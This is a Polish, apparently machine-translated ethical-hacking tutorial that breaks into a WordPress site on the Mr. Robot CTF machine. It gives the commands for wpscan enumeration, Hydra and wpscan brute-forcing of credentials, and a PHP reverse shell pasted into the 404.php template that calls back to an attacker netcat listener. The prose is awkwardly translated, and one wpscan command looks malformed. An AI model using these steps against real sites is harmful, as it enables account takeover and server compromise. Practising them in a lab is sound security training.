Jak włamać się na stronę internetową WordPress – Ethical Hacking Tutorial

Witam z powrotem koledzy entuzjaści bezpieczeństwa! Dzisiaj pokażę wam jak włamać się na stronę internetową WordPressa używając Mr. Robot CTF jako przykładu. Właśnie pracowałem przez ten doskonały CTF siebie i nauczyłem się tonę w procesie. Chciałem podnieść poziom mojej gry Web Vulnerability Analysis notch i zacząłem od tego CTF.

Jeśli naprawdę chcesz nauczyć się Cybersecurity, gorąco polecam przeczytanie mojego ogromnego Getting started with Cybersecurity in 2019 beginner guide, gdzie uczę cię, jak zacząć, całkowicie za darmo! Warto również sprawdzić jest Best Hacking Books in 2019 article.

DISCLAIMER: Ten „jak zhakować stronę internetową WordPress” jest Ethical Hacking Tutorial i nastawiony na profesjonalistów bezpieczeństwa. Nie należy, powtarzam, nie należy używać tych technik bez pisemnej zgody strony otrzymującej. Jeśli użyjesz tego samouczka w niezgodnym z prawem kontekście, mogą czekać na Ciebie zarzuty prawne i/lub czas spędzony w więzieniu. Używaj tych technik tylko w zamkniętym środowisku laboratoryjnym.

CTF jest tak zwaną grą Capture the Flag, gdzie twoim celem jest zebranie pewnej liczby flag (lub kluczy, dla tej sprawy). CTF’y są używane do ćwiczenia swoich umiejętności hakerskich w bezpiecznym i legalnym środowisku. Mogę polecić Vulnhub jako źródło wyboru doskonałych CTF’s.

Ok, zaczynajmy.

Krok 1 – Ocena, czy strona internetowa używa WordPress

Jeśli nie wiesz, czy strona internetowa używa WordPressa, czy nie, w większości przypadków jest bardzo łatwy sposób, aby się tego dowiedzieć.

Możesz po prostu wpisać: www.addressofthewebsite.com/wp-admin

Co w większości przypadków spowoduje pojawienie się gui logowania wp-admin, chyba że administrator go wyłączył.

Innym świetnym sposobem na sprawdzenie, czy strona działa na WordPressie jest użycie wpscan. Wpscan jest preinstalowany zarówno w Kali jak i ParrotSec.

wpscan -u www.addressofyourtarget.com

W moim przypadku, skanowanie maszyny wirtualnej Mr. Robot ujawnia co następuje.

How to hack wordpress
Wycinek wyników

Jak widać, wyraźnie wskazuje, że strona używa WordPressa. Ponadto, przedstawia 46 zidentyfikowanych podatności. Teraz, większość hosterów i ostatnie wersje WordPressa będzie blokować skanowanie jak to domyślnie. Więc najprawdopodobniej jest to tylko będzie działać z przestarzałych wersji WordPress bez żadnej ochrony od hostera.

Ok, tak daleko tak dobrze. Teraz możemy to zweryfikować, sprawdzając, czy strona logowania istnieje, przechodząc do adresu URL witryny + /wp-admin w następujący sposób:

How to hack wordpress
WordPress Login

I na pewno maska Login się pojawia.

Krok 2 – Grabbing Code with Burpsuite

Teraz przychodzi trudna część, znalezienie nazwy użytkownika. Możesz zacząć od admina, ale WordPress zazwyczaj generuje losową nazwę użytkownika, więc może to być trudne do rozgryzienia i możesz potrzebować dalszych badań nad celem.

W przykładzie Mr. Robot, wiem, że nazwa użytkownika to Elliot (nie jest zbyt trudna do odgadnięcia). Możesz również spróbować uruchomić hydrę przeciwko kilku listom nazw użytkowników, ale najpierw musimy użyć burpsuite, aby złapać trochę kodu ze strony logowania.

Uruchom burpsuite wpisując

sudo burpsuite

Utwórz nowy projekt tymczasowy używając domyślnych ustawień Burp.

Przejdź do zakładki Target -> Scope i kliknij na Add, aby dołączyć stronę wp-login do zakresu. Wybierz Tak w wyskakującym okienku dialogowym.

Jak zhakować WordPressa
Dodanie strony do zakresu

Następnie przejdź do menu Preferencje w Firefoksie i przewiń w dół, aż znajdziesz Network Proxy. Kliknij na Ustawienia.

Wybierz Ręczna konfiguracja proxy i wpisz IP 127.0.0.1 i port 8080. Zaznacz „Użyj tego serwera proxy dla wszystkich protokołów”. Kliknij OK.

Jak zhakować WordPress
Dodanie proxy

Powróć do Burpsuite. Otwórz zakładkę Proxy. Teraz z powrotem do strony WP-Login. Wprowadź dowolną losową nazwę użytkownika i hasło i kliknij Zaloguj się. Upewnij się, że Privacy Badger, uBlock Origins i NoScript są wyłączone dla witryny.

Po kliknięciu zaloguj się, wróć do Burpsuite i spójrz na dane wyjściowe.

Jak zhakować WordPressa
Kod kradzieży

log=root&pwd=1234&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.109%2Fwp-admin%2F&testcookie=1

Teraz mamy coś, czym możemy nakarmić Hydrę.

Krok 3 – Znalezienie poprawnej nazwy użytkownika

Zabawmy się trochę, aby dać ci pomysł jak możesz znaleźć nazwę użytkownika dla twojego celu. VM, której używamy w tym przykładzie, jak wspomniano powyżej, jest związana z Mr. Robot. Jest więc bardzo prawdopodobne, że nazwa użytkownika zostanie znaleziona w jakiejś ciekawostce, która ma związek z Mr. Robot.

Najpierw wróć do swojego Burpsuite i zamknij go. Nie jest on nam już teraz potrzebny. Wróć też do ustawień Proxy i wyłącz je ponownie.

Teraz udam się na stronę Wikipedii Mr. Robot: https://en.wikipedia.org/wiki/Mr._Robot

I stworzę listę nazw użytkowników z tej właśnie strony, używając CeWL.

Otwórz nowe okno Terminala i wpisz

sudo cewl -w usernames.txt -d1 -m4 https://en.wikipedia.org/wiki/Mr._Robot

Rozłóżmy to na czynniki pierwsze.

  • -w usernames.txt – powinno być całkiem jasne, jest to nazwa wordlisty, która zostanie utworzona
  • -d1 – Określa głębokość, na jaką CeWL będzie indeksował stronę. 1 oznacza, że CeWL pozostanie dokładnie na tej stronie i nie będzie otwierał żadnych linków na niej zawartych.
  • -m4 – Określa minimalną długość słowa, które zostanie umieszczone na liście
  • https://en.wikipedia.org/wiki/Mr._Robot – oczywiście strona, którą będziemy indeksować.

Jak więc widzisz, możesz zastosować tę technikę do każdej docelowej, odpowiedniej strony internetowej.

Wykonanie szybkiego

ls

Pokazuje nam, że nasza nazwa użytkownika.txt został utworzony.

Jak włamać się do WordPress
Sprawdzenie wyjścia CeWL

W niektórych przypadkach masz szczęście używając wpscan do wyliczenia nazwy użytkownika, więc zawsze spróbuj tego również:

wpscan --url http://www.targetwebsite.com --enumerate u

Teraz zamierzamy użyć Hydry do Bruteforce tej listy przeciwko stronie wp-login.

Krok 4 – Bruteforcing Usernames with Hydra

W porządku, czas podać nazwy użytkowników do naszej Hydry. Tę konkretną metodę znalazłem na jednym z wielu Walkthrough z Vulnhuba, choć nie pamiętam dokładnie, które to było, ale oddaję kredyt tam, gdzie kredyt jest należny. Otwórzmy nowe okno terminala i wpiszmy:

hydra -V -L usernames.txt -p whatever 192.168.1.109 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'

Let’s break this down.

  • -V – Verbose
  • -L – Our usernames.txt list
  • -p whatever – Hasło, nie obchodzi nas to, bo chcemy poznać nazwę użytkownika
    • http-post-form – Typ ataku Brute Force, który chcemy przeprowadzić
    • /wp-login.php – Ścieżka do formularza logowania
    • log = ^USER^&pwd=^PASS^&wp-submit=Log+In – Wartości, które zostaną wysłane do formularza, gdzie ^USER^ i ^PASS^ są symbolami zastępczymi dla naszych opcji -L i -p
    • F=Invalid username – Informuje hydrę, że próba nie powiodła się, jeśli zwróci Invalid username

W porządku, uruchommy to polecenie, dobrze?

How to hack WordPress
Hydra results

I z pewnością, dostajemy zwrot, że logowanie z nazwą użytkownika elliot się powiodło (Co nie było, to tylko potwierdziło, że formularz internetowy nie zwrócił nieprawidłowej nazwy użytkownika).

Więc nadal musimy wymyślić hasło. Ale przynajmniej mamy nazwę użytkownika.

Krok 5 – Brute Forcing the Password

Teraz moglibyśmy również użyć Hydry do Brute Force’owania hasła użytkownika, ale wolę użyć wpscan, ponieważ składnia jest łatwiejsza.

wpscan --url http://192.168.1.109/wp-login.php --passwords /usr/share/wordlists/rockyou.txt.gz --usernames elliot --wp-content-dir http://192.168.1.109/wp-login.php

rockyou.txt.gz jest tylko przykładem, zastąp go jakąkolwiek listą haseł, której chcesz użyć.

I voila, mamy nazwę użytkownika i hasło.

Przechwytywanie hasła

Krok 6 – Wdrażanie złośliwego kodu do WordPress

W porządku, teraz, gdy mamy dostęp administratora do WordPress, jest kilka sposobów, w jaki możemy się stąd wydostać. Pokażę ci jeden z łatwiejszych.

Na twoim atakującym komputerze przejdź do Places -> File System -> usr -> share -> webshells -> php i otwórz php-reverse-shell.php

Kopiuj całą jego zawartość:

How to hack wordpress
Kopiuj tekst

Teraz w WordPress, przejdź do Wygląd -> Edytor i wybierz szablon 404.php. To tylko przykład, możesz zaimplementować kod na wiele różnych sposobów.

Teraz wklej tutaj swój kod, tak aby wyglądał mniej więcej tak:

Jak zhakować WordPressa
Edytuj linie zaznaczone na żółto

Edytuj linie zaznaczone na żółto, tak aby IP wskazywało na Twój atakujący komputer i wybierz port.

Krok 7 – Uruchomienie Netcat listener

Teraz z powrotem na atakującym komputerze, uruchamiamy Netcat listener:

nc -lvp 443

Wtedy otworzysz stronę 404 jak po prostu wchodząc na link: www.yourtargetwebsite.com/404

How to hack WordPress
Connection established

I jesteśmy w środku! Nie tylko zhakowaliśmy konto administratora WordPressa, ale również uzyskaliśmy dostęp do samego serwera. Stąd musisz użyć swoich umiejętności, aby uzyskać podwyższony dostęp, ale to już nie powinno być zbyt trudne.

Jak widzisz, CTF’y są świetnym sposobem na naukę nowych rzeczy.

Do następnego razu, kontynuuj hakowanie!

*Wszystkie techniki przedstawione w tutorialach na ceos3c.com są przeznaczone wyłącznie do celów edukacyjnych.
Wszystkie techniki nauczane tutaj są przeznaczone do użycia tylko w zamkniętym środowisku laboratoryjnym lub w porozumieniu z drugą osobą.
Jeśli używasz którejkolwiek z tych technik do nielegalnych celów, Ceos3c nie może być pociągnięte do odpowiedzialności za ewentualne konsekwencje prawne.

Please Share!

Like Loading…

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.